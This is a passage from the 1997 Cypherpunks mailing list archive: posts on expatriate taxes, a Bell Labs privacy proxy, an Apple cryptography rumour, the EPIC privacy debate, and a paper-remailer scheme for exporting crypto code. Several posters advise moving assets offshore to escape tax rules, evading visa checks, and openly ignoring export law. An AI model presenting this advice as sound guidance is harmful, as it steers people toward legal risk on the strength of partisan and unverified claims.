23 children were fried because the Feds thought that some people living at MT 
Carmel might be illegally possessing some metal disks about the size of a 50 
cent piece.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sat, 31 May 1997 08:01:56 +0800
To: Ray Arachelian <tcmay@got.net>
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <v03102801afb4ccdecef3@[207.167.93.63]>
Message-ID: <3.0.2.32.19970530194745.006d62bc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 03:55 PM 5/30/97 -0400, Ray Arachelian wrote:

>What's the
>justification behind this other than exit rape?

Same justification as any tax.  "We want the dough."  Note they haven't 
managed to pass a full exit tax yet, however:

http://207.87.27.10/forbes/111896/5812044a.htm

Forbes - 18 November 1996

"And don't come back"

By Robert Lenzner 

In August 1996 the Republicans pasted some anti-taxpatriate language into the 
Health Insurance Portability & Accountability Act. This law now subjects 
expatriates with a net worth of over $500,000 to taxation on their income 
earned in the U.S. for ten years from the time they renounce their 
citizenship, no matter where they live or whose flag they salute. But this is 
a law without teeth. Any clever entrepreneur can live by borrowing against 
assets rather than paying himself an income. Any good international tax lawyer 

can move ownership of U.S. assets into a foreign corporation or trust, thus 
making most taxpatriates' U.S.-sourced income vanish.

The latest effort to keep intrepid taxpatriates on the reservation was passed 
with no fanfare in early October. A little-noticed provision of the Illegal 
Immigration Reform & Immigrant Responsibility Act of 1996 says, in essence, 
that Americans can still renounce their citizenship and flee to tax havens 
like the Bahamas, Ireland and Switzerland. But if they do, they can't 
necessarily come back to the U.S., not even to visit the grandkids or attend 
their college reunions.

Under the new law, the taxpatriate-any expatriate for that matter-must apply 
for a visa for every visit. The law states that the U.S. Attorney General may 
prohibit the issuance of a visa to a former U.S. citizen if there are solid 
grounds to believe that citizenship was renounced in order to avoid taxes.

In short, taxpatriates will now be treated as exiles without any visiting 
rights, just like the illegal immigrants the U.S. wants to cut off.

***************

Utterly meaningless in both cases since, as mentioned, you can move your 
wealth overseas and in the case of the visa requirement, first they have to 
flag you as an expatriate and even if they do that, you can enter the U.S. via 

Canada, Mexico, or the   Caribbean which are all inside the "US Passport 
Control Area."

>I suppose one way is to take loads of trips and loads of AmEx traveler's
>checks, then gamble on things with 50% chance of winning, take the
>winnings and dump'em in accounts outside.  Repeat until nothing's left,
>then exit with very little.

I find that a SWIFT wire transfer is faster, safer, and easier.

>So let's sue the system.  Might fail, but maybe we can get it the fuck out
>of our income taxes.  One less tax to bother with.  Since it no longer
>does what it is supposed to, might as well get rid of it.  One way is to
>calculate how much you've put in it, and what is expected you'll receive
>on retirement.  Compare the two, then sue the bastards.   (I donno what
>I've been smoking, but I should get more of it, that's for sure. heheheh)

If you can find a judge who doesn't have "a financial interest in the outcome 
of the proceedings" I suppose you could try but victory seems unlikely in 
either case.

Rather than litigation or detonation why not just try to ignore them.

DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 31 May 1997 11:02:43 +0800
To: cypherpunks@toad.com
Subject: Janus (now called LPWA) ready for pre-testing)
Message-ID: <v030209cbafb5360afa35@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Fri, 30 May 1997 13:31:25 -0400
From: alain@research.bell-labs.com (Alain Mayer)
To: rah@shipwright.com
Subject: Janus (now called LPWA) ready for pre-testing)
Cc: alain@research.bell-labs.com


Hi Robert,

the Janus system I presented at FC97 is now running on
a proxy at Bell Labs, accessible to everyone.
Maybe you can send the announcement below to the
fc97 mailing list?

Many thanks and I hope everything is fine with you,

   -- Alain
========================================


Hi,

Janus (now called the Lucent Personalized Web Assistant, LPWA) is now
pre-testing.
Its main goal is to increase convenience, security, and privacy for browsing
the web, especially with sites that require registration (and hence user
names, passwords and e-mail addresses).
We hope that you will use it for a while and give us some feedback on what you
like and what kind of things are annoying. Note, that you can only participate
if you are able to configure your browser to directly connect to our proxy.
Some of you might be behind a firewall or ISP where a particular proxy is
required.

Instructions can be found at http://lpwa.com:8000.

More on the project is located at
http://www.bell-labs.com/project/lpwa/

An arbitrary list of (free) sites which require registration can be found at
http://www.bell-labs.com/projects/lpwa/extended_summary_tmp.html#account


Please note that this project has not yet been publicy announced and that
documentation and code are currently being revised. Also, the current set-up,
where you have to connect to LPWA/Janus over an insecure connection is not
"optimal" (to say the least, but all in all much better than if you browse
the "usual way"). Hence, we are really looking for "friendly users" at this
time whose feedback might help us to make improvements.

Regards,
  -- Alain

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 31 May 1997 10:57:58 +0800
To: cypherpunks@toad.com
Subject: Elliptic Curve Rumor
Message-ID: <v030209d0afb537313fa2@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Fri, 30 May 1997 10:53:16 -0700
To: Robert Hettinga <rah@shipwright.com>
From: Somebody
Subject: Elliptic Curve Rumor
Mime-Version: 1.0

I assume you will pass this information on.  Please don't associate my name
with it.

I have heard that Apple has a working implementation of Elliptic Curve
Cryptography.  Because of the export regulations they don't want to include
it in their products.  If anyone wants to try to change their minds, now
would be a good time.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 31 May 1997 13:25:19 +0800
To: cypherpunks@algebra.com
Subject: Rotenberg as the Uber Enemy
Message-ID: <v03102801afb561409260@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I suppose I am developing a reputation amongst the Inside the Beltway Cyber
Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
their chief spokeswonks giving a policy statement I realize they are "not
on my side."

The latest quote is from Marc Rotenberg, on a CNN piece on spam and
anti-spam legislation, saying that what the legislators in Congress really
need to look into is how the spammers develop their data bases.....

Incredible. Does he propose investigations of private data gathering?
Perhaps search warrants served on those who take public postings and
construct data bases?

Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
realize the "spammers" are merely  taking publicly available (= legally
available, as 99.99% of all such information is) information and using
legal channels to contact me. I may not "like" it, but their behavior is as
legal as someone calling me on the phone.

(And ny nearly any measure of hassle factor, dashing to get to the phone
only to find it's a salesman selling something I don't want is worse than
any 20 unwanted e-mail messages.)

So, Marc Rotenberg wants Congress to "look into" (= interfere with)
compilation and use of public information.

These people are NOT our allies.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 31 May 1997 15:35:32 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102801afb561409260@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970531031700.9128C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Unfortunately, Tim is letting a rant get in the way of reality. A shame,
really, for he's capable of better. Let me respond. I may not be very
cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
went to some cheezy Crystal City sports bar afterwards. I just got back
home, and it's 3:20 am...

Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
with cypherpunk and libertarian positions on some issues. So we have
issue-by-issue alliances with them. Let's break it down:

------------------------------
CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
been the ones criticizing the SAFE "crypto in crime" provisions. Did the
latest VTW alert sent out today even mention that portion of the bill, let
alone criticize it?

ANONYMITY: No other group in DC is such a staunch supporter of online
anonymity publicly, though look for something from Cato soon. In fact, I
linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
Many business groups don't like anonymity online -- hurts the marketeers.

FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
they've said some of the anti-spam legislation is unconstitutional.

FOIA: David Sobel does fabulous work snagging government documents the
spooks don't want released.

PRIVACY: EPIC wants more Federal involvement to protect privacy and a
Federal Privacy Commission (or something similar). Lots of laws,
bureaucracies. Though EPIC does realize there's a First Amendment; other
privacy groups are even more aggressive. EPIC is of course on the side of
libertarians when it comes to government violations of privacy.
------------------------------

>From a libertarian perspective, EPIC is good on everything but privacy. On
that they want Big Government solutions.

But that doesn't mean we reject and condemn what they do on other issues.
Do we reject Eagle Forum's anti-Clipper endorsement because they're a
bunch of ultraconservative wackos? Do we reject the National Organization
for Women's position on the CDA as bad because they're a bunch of
ultraliberal wackos? How about the National Association of Broadcaster's
amicus brief against the CDA? The Christian Coalition rejecting a national
ID cards and numbers? Ralph Nader wanting open access to government
databases?

No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
are not always, but are often, our allies. 

-Declan


On Fri, 30 May 1997, Tim May wrote:

> 
> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
> Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
> their chief spokeswonks giving a policy statement I realize they are "not
> on my side."
> 
> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> anti-spam legislation, saying that what the legislators in Congress really
> need to look into is how the spammers develop their data bases.....
> 
> Incredible. Does he propose investigations of private data gathering?
> Perhaps search warrants served on those who take public postings and
> construct data bases?
> 
> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
> realize the "spammers" are merely  taking publicly available (= legally
> available, as 99.99% of all such information is) information and using
> legal channels to contact me. I may not "like" it, but their behavior is as
> legal as someone calling me on the phone.
> 
> (And ny nearly any measure of hassle factor, dashing to get to the phone
> only to find it's a salesman selling something I don't want is worse than
> any 20 unwanted e-mail messages.)
> 
> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
> compilation and use of public information.
> 
> These people are NOT our allies.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 31 May 1997 21:45:58 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: legal EAR work-around/Paper based remailers
In-Reply-To: <199705310853.JAA00659@server.test.net>
Message-ID: <199705311334.IAA18924@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705310853.JAA00659@server.test.net>, on 05/31/97 
   at 09:53 AM, Adam Back <aba@dcs.ex.ac.uk> said:


>EAR says that you can't export crypto in electronic form.  EAR says you
>can export crypto in textual form.  We have electronic cash in terms of
>MT banks digicash.  Email is more convenient for exporting crypto source
>code and binaries that snail mail.

>Let's do it.

>Here's what we need:

>1. US entrepreneur to accept mail with 

>	::
>	Snail-To: <street address (outside US)>
>	Snail-Fee: <Fee + 2c/sheet + postage stamp charge, digicash>
>	Scanning-Fee: <50c/sheet, digicash>
>	Request-Remailing-To: <cypherpunks@cyberpass.net>
>	Anon-Post-To: alt.cypherpunks

>   US volunteer strips off first two headers, prints out the document
>   in a large OCR friendly font.  Puts in envelope and posts at
>   highest priority snail that can be paid for out of the included
>   postage (overnight/air-mail/slow-boat).

>2. Non-US entrepreneur to scan and remail results

>	::
>	Scanning-Fee: <50c/sheet, digicash>
>	Request-Remailing-To: <cypherpunks@toad.com>
>	Anon-Post-To: alt.cypherpunks

>   US volunteer scans the sheets, mails/post them to the requested
>   email address/newsgroup, and collects his digicash fee per sheet.

>I volunteer for #2.  (You understand the importance of the
>Scanning-Fee, I can pay someone to feed sheets into a scanner if needs be
>with a fee, without that I can become overloaded with a ream of paper
>representing the binary for PGP5.0).

>Legal questions: I'd be interested in legal interpretations of whether
>the above scheme is legal for the US entrepreneur.  Peter Junger said a
>short while ago on the list that printed material could be exported under
>the EAR regulations administered by Commerce Dept.  Does this scheme
>qualify?

>Technical questions: If this is to include uuencoded or radix-64 mime
>encoding, we might want to think about redundancy to allow error
>correction.  Perhaps we want that anyway to ensure that what we have is
>100% character-by-character perfect.  Or perhaps not as it may damage the
>legality aspects.  They may start saying that you can only export human
>readable stuff on paper, etc.  Then we move on to `texto' apparently
>human readable steganographically encoded paper based remailer messages.

Hi Adam,

Why bother with all of this. If you want to export crypto then just do it.
As long as we keep up with this mickymouse approach to exports trying to
appease the FEDs who are acting unconstitutionaly on this matter things
will never change. Put up a web page or a ftp site with the crypto
binaries and let whomever wishes to download them download them.

I have done this and I will continue to do this dispite what the goons in
DC have to say about it.

We must all hang together or we will all hang.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 1 Jun 1997 00:22:03 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb5dc075d18@[207.172.33.39]>
Message-ID: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm now more awake than I was before, and a little less
flippant, so let me try to respond to Marc's statement
saying my summary of his "views on privacy below are
just silly."

The initial question has to be not how you protect rights,
but how you define them. For example, we have a right
to speak freely; there should be strict limits on
government controls on free expression or the press.
The state has unique powers of coercion. Similarly,
there should be strict limits on government collection
of personal data about its citizens.

But transactional privacy is a different matter. Sure,
we may generally agree that privacy is the famous
"right to be left alone," but how does that extend to
what happens when I make an affirmative choice to
connect to a web site that might record some info
about my visit -- as an alternative to charging me?
Nobody's forcing me to visit that site. That's why
I'm starting to come around to the idea that privacy
is not a universal right but a preference. We need a
market in privacy, not inflexible FTC rulemaking.

Oh, and the much-touted European Privacy Directive has
made it near-impossible to exchange employee
information between branches of the same firm that are
physically in different countries. Bad move,
Eurocrats.

-Declan



On Sat, 31 May 1997, Marc Rotenberg wrote:

> People who are interested in why I am pro-individual freedom
> but not anti-government should take a look a my piece in Wired
> "Eurocrats Do Good Privacy." [4.05]
> 
> I spent a year working for a good crypto policy at the OECD.
> During that time I watched European government officials
> argue for constitutional freedoms and against key escrow,
> while business representatives quietly backed the US
> GAK plan. Welcome to the real world.
> 
> Marc.
> 
> Btw - Declan's summary of our views on privacy below are
> just silly. Many of the greatest defenders of First Amendment
> freedoms have also felt most strongly about the right of
> privacy. The question is always how you protect rights.
> Perhaps libertarians would do away with all laws that protect
> personal freedoms. Bad call.
> 
> 
>  At 3:21 AM -0400 5/31/97, Declan McCullagh wrote:
> >Unfortunately, Tim is letting a rant get in the way of reality. A shame,
> >really, for he's capable of better. Let me respond. I may not be very
> >cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
> >went to some cheezy Crystal City sports bar afterwards. I just got back
> >home, and it's 3:20 am...
> >
> >Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
> >with cypherpunk and libertarian positions on some issues. So we have
> >issue-by-issue alliances with them. Let's break it down:
> >
> >------------------------------
> >CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
> >been the ones criticizing the SAFE "crypto in crime" provisions. Did the
> >latest VTW alert sent out today even mention that portion of the bill, let
> >alone criticize it?
> >
> >ANONYMITY: No other group in DC is such a staunch supporter of online
> >anonymity publicly, though look for something from Cato soon. In fact, I
> >linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
> >Many business groups don't like anonymity online -- hurts the marketeers.
> >
> >FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
> >they've said some of the anti-spam legislation is unconstitutional.
> >
> >FOIA: David Sobel does fabulous work snagging government documents the
> >spooks don't want released.
> >
> >PRIVACY: EPIC wants more Federal involvement to protect privacy and a
> >Federal Privacy Commission (or something similar). Lots of laws,
> >bureaucracies. Though EPIC does realize there's a First Amendment; other
> >privacy groups are even more aggressive. EPIC is of course on the side of
> >libertarians when it comes to government violations of privacy.
> >------------------------------
> >
> >From a libertarian perspective, EPIC is good on everything but privacy. On
> >that they want Big Government solutions.
> >
> >But that doesn't mean we reject and condemn what they do on other issues.
> >Do we reject Eagle Forum's anti-Clipper endorsement because they're a
> >bunch of ultraconservative wackos? Do we reject the National Organization
> >for Women's position on the CDA as bad because they're a bunch of
> >ultraliberal wackos? How about the National Association of Broadcaster's
> >amicus brief against the CDA? The Christian Coalition rejecting a national
> >ID cards and numbers? Ralph Nader wanting open access to government
> >databases?
> >
> >No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
> >are not always, but are often, our allies.
> >
> >-Declan
> >
> >
> >On Fri, 30 May 1997, Tim May wrote:
> >
> >>
> >> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
> >> Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
> >> their chief spokeswonks giving a policy statement I realize they are "not
> >> on my side."
> >>
> >> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> >> anti-spam legislation, saying that what the legislators in Congress really
> >> need to look into is how the spammers develop their data bases.....
> >>
> >> Incredible. Does he propose investigations of private data gathering?
> >> Perhaps search warrants served on those who take public postings and
> >> construct data bases?
> >>
> >> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
> >> realize the "spammers" are merely  taking publicly available (= legally
> >> available, as 99.99% of all such information is) information and using
> >> legal channels to contact me. I may not "like" it, but their behavior is as
> >> legal as someone calling me on the phone.
> >>
> >> (And ny nearly any measure of hassle factor, dashing to get to the phone
> >> only to find it's a salesman selling something I don't want is worse than
> >> any 20 unwanted e-mail messages.)
> >>
> >> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
> >> compilation and use of public information.
> >>
> >> These people are NOT our allies.
> >>
> >> --Tim May
> >>
> >> There's something wrong when I'm a felon under an increasing number of laws.
> >> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> >> ---------:---------:---------:---------:---------:---------:---------:----
> >> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> >> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> >> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> >> Higher Power: 2^1398269     | black markets, collapse of governments.
> >> "National borders aren't even speed bumps on the information superhighway."
> >>
> >>
> >>
> >>
> >>
> 
> 
> 
> ==================================================================
> Marc Rotenberg, director                *   +1 202 544 9240 (tel)
> Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
> 666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
> Washington, DC 20003   USA              +   http://www.epic.org
> ==================================================================
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 00:38:04 +0800
To: cypherpunks@algebra.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102801afb561409260@[207.167.93.63]>
Message-ID: <v03102802afb5fd674225@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:10 AM -0700 5/31/97, Robert A. Costner wrote:

>I have not heard Rotenberg's statements on private collection of public data
>and spam, but I can make my own.
>
>
>At 10:13 PM 5/30/97 -0700, Tim May wrote:
>>The latest quote is from Marc Rotenberg, on a CNN piece on spam and
>>anti-spam legislation, saying that what the legislators in Congress really
>>need to look into is how the spammers develop their data bases.....
>...
>>Incredible. Does he propose investigations of private data gathering?
>
>I'd agree here.  Rather than have Congress blindly pass a law, some
>investigation of the matter should be done first.  While I am not
>supporting a
>law, any such law should have three parts:

Even better: "Congress shall make no law..."

Not _some_ law, but *no* law.

The compilation of records, files, dossiers, gossip, etc., is a clearly
protected First Amendment (and probably Fourth, against search and seizure)
activity.

(Now if I break into your house to Xerox your papers to add to my dossiers,
this is not permitted, unless I am with one of the government's secret
police agencies.)


>As for investigations into data gathering, I've been doing that for some
>time.
> It has educated me, and would no doubt educate congress.  Two years ago, I
>spoke with the president of Pro-CD, a popular CD-phonebook company.  I asked
>him why unlisted numbers are not on the CD's, and why so few fax numbers are
>on the CD's.  This information is readily available.  He said that only
>previous published collections are republished by him.  What spammers are
>doing is invasive in that they are collecting the information for the first
>time.

"Invasive"? We have to be careful here. There are two main senses of
"invasive":

"invasive - something I don't like."

"invasive - an illegal violation of my rights."

I may find it invasive when a bum asks me for spare change, but it is not
illegal (anti-begging laws are unconstitutional, obviously).



>>I may not "like" it, but their behavior is as legal as someone
>>calling me on the phone.
>
>I'll agree with you to some degree.  After all, it *IS* ILLEGAL for
>someone to
>call you on the phone for the equivalent of spam, many people would like
>email
>spam to be just as illegal.  However there are loopholes in the law that
>allow

If it is "ILLEGAL" (your emphasis) for someone to call me on the phone for
spamming, why then do I get so many such calls? Why aren't the prisons full?

(Answer: Because it is NOT illegal for people to call me, or for me to call
others, or for me to even call thousands of others. True, it is possible
for me (I disagree with these laws, though, and cite the First again) for
me to _ask_ that they not call me. Maybe even jump through hoops and get an
injunction. )

There are laws on the books which prohibit fully automated calls with no
humans in the loop, but these are easily bypassed. (E.g., the boiler-room
minimum wage employees in Detroit and Chicago who pick up the phone several
seconds after I have picked up and then start a barely understandable
spiel...I've prettty much taken to hanging up if no human voice appears
within the first couple of seconds, as I know I am being handed off to the
next available "human.")


>email to be sent under the same circumstances.  State laws, and the federal
>law have provisions such as time ranges calls can be made (daytime hours
>only), prohibitions on the use of automated equipment, removal lists, and
>call
>destinations absolutely prohibited (hospitals, emergency numbers).

And I disagree with most of these laws, as being state intrusion into
communication. There are other solutions besides more laws.

>Pick up any metropolitan newspaper.  Count the number of classified ads on
>any
>given day.  Spam is cheaper and reaches more people.  Would you like to see
>this number of spams in you mail box?  Will you honestly say that 500-1000
>spams in your mailbox is simply annoying?  Multiply this by the number of
>newspapers in the US.

Your point being?

Any laws forbidding spam generation in the U.S. will simply (or already)
move the spam-originating sites offshore. Then what happens? Is my ISP
supposed to screen international messages for me? Do we get the
U.N./OECD/Interpol/Illuminati to "regularize" anti-spam laws in all 197
recognized nations?

The "500 messages a day" problem will be solved through other means.  It
has to be. Laws are insufficient, and wrong-headed, solutions for speech
issues.


>
>The manner in which the information is collected is invasive.  People feel
>their privacy is being violated.  The right to be left alone is a fundamental

I don't give a goddamned shit what "people feel" one way or another. People
"feel" there ought to be a _lot_ of laws, especially for other people. So?

It's sad to see a leader of Electronic Frontiers-Georgia making these lame
arguments about why more laws are needed.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 31 May 1997 17:02:10 +0800
To: cypherpunks@cyberpass.net
Subject: legal EAR work-around/Paper based remailers
Message-ID: <199705310853.JAA00659@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



EAR says that you can't export crypto in electronic form.  EAR says
you can export crypto in textual form.  We have electronic cash in
terms of MT banks digicash.  Email is more convenient for exporting
crypto source code and binaries that snail mail.

Let's do it.

Here's what we need:

1. US entrepreneur to accept mail with 

	::
	Snail-To: <street address (outside US)>
	Snail-Fee: <Fee + 2c/sheet + postage stamp charge, digicash>
	Scanning-Fee: <50c/sheet, digicash>
	Request-Remailing-To: <cypherpunks@cyberpass.net>
	Anon-Post-To: alt.cypherpunks

   US volunteer strips off first two headers, prints out the document
   in a large OCR friendly font.  Puts in envelope and posts at
   highest priority snail that can be paid for out of the included
   postage (overnight/air-mail/slow-boat).

2. Non-US entrepreneur to scan and remail results

	::
	Scanning-Fee: <50c/sheet, digicash>
	Request-Remailing-To: <cypherpunks@toad.com>
	Anon-Post-To: alt.cypherpunks

   US volunteer scans the sheets, mails/post them to the requested
   email address/newsgroup, and collects his digicash fee per sheet.

I volunteer for #2.  (You understand the importance of the
Scanning-Fee, I can pay someone to feed sheets into a scanner if needs
be with a fee, without that I can become overloaded with a ream of
paper representing the binary for PGP5.0).

Legal questions: I'd be interested in legal interpretations of whether
the above scheme is legal for the US entrepreneur.  Peter Junger said
a short while ago on the list that printed material could be exported
under the EAR regulations administered by Commerce Dept.  Does this
scheme qualify?

Technical questions: If this is to include uuencoded or radix-64 mime
encoding, we might want to think about redundancy to allow error
correction.  Perhaps we want that anyway to ensure that what we have
is 100% character-by-character perfect.  Or perhaps not as it may
damage the legality aspects.  They may start saying that you can only
export human readable stuff on paper, etc.  Then we move on to `texto'
apparently human readable steganographically encoded paper based
remailer messages.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Sat, 31 May 1997 22:10:00 +0800
To: tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102801afb561409260@[207.167.93.63]>
Message-ID: <v03007800afb5dc075d18@[207.172.33.39]>
MIME-Version: 1.0
Content-Type: text/plain




People who are interested in why I am pro-individual freedom
but not anti-government should take a look a my piece in Wired
"Eurocrats Do Good Privacy." [4.05]

I spent a year working for a good crypto policy at the OECD.
During that time I watched European government officials
argue for constitutional freedoms and against key escrow,
while business representatives quietly backed the US
GAK plan. Welcome to the real world.

Marc.

Btw - Declan's summary of our views on privacy below are
just silly. Many of the greatest defenders of First Amendment
freedoms have also felt most strongly about the right of
privacy. The question is always how you protect rights.
Perhaps libertarians would do away with all laws that protect
personal freedoms. Bad call.


 At 3:21 AM -0400 5/31/97, Declan McCullagh wrote:
>Unfortunately, Tim is letting a rant get in the way of reality. A shame,
>really, for he's capable of better. Let me respond. I may not be very
>cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
>went to some cheezy Crystal City sports bar afterwards. I just got back
>home, and it's 3:20 am...
>
>Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
>with cypherpunk and libertarian positions on some issues. So we have
>issue-by-issue alliances with them. Let's break it down:
>
>------------------------------
>CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
>been the ones criticizing the SAFE "crypto in crime" provisions. Did the
>latest VTW alert sent out today even mention that portion of the bill, let
>alone criticize it?
>
>ANONYMITY: No other group in DC is such a staunch supporter of online
>anonymity publicly, though look for something from Cato soon. In fact, I
>linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
>Many business groups don't like anonymity online -- hurts the marketeers.
>
>FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
>they've said some of the anti-spam legislation is unconstitutional.
>
>FOIA: David Sobel does fabulous work snagging government documents the
>spooks don't want released.
>
>PRIVACY: EPIC wants more Federal involvement to protect privacy and a
>Federal Privacy Commission (or something similar). Lots of laws,
>bureaucracies. Though EPIC does realize there's a First Amendment; other
>privacy groups are even more aggressive. EPIC is of course on the side of
>libertarians when it comes to government violations of privacy.
>------------------------------
>
>From a libertarian perspective, EPIC is good on everything but privacy. On
>that they want Big Government solutions.
>
>But that doesn't mean we reject and condemn what they do on other issues.
>Do we reject Eagle Forum's anti-Clipper endorsement because they're a
>bunch of ultraconservative wackos? Do we reject the National Organization
>for Women's position on the CDA as bad because they're a bunch of
>ultraliberal wackos? How about the National Association of Broadcaster's
>amicus brief against the CDA? The Christian Coalition rejecting a national
>ID cards and numbers? Ralph Nader wanting open access to government
>databases?
>
>No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
>are not always, but are often, our allies.
>
>-Declan
>
>
>On Fri, 30 May 1997, Tim May wrote:
>
>>
>> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
>> Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
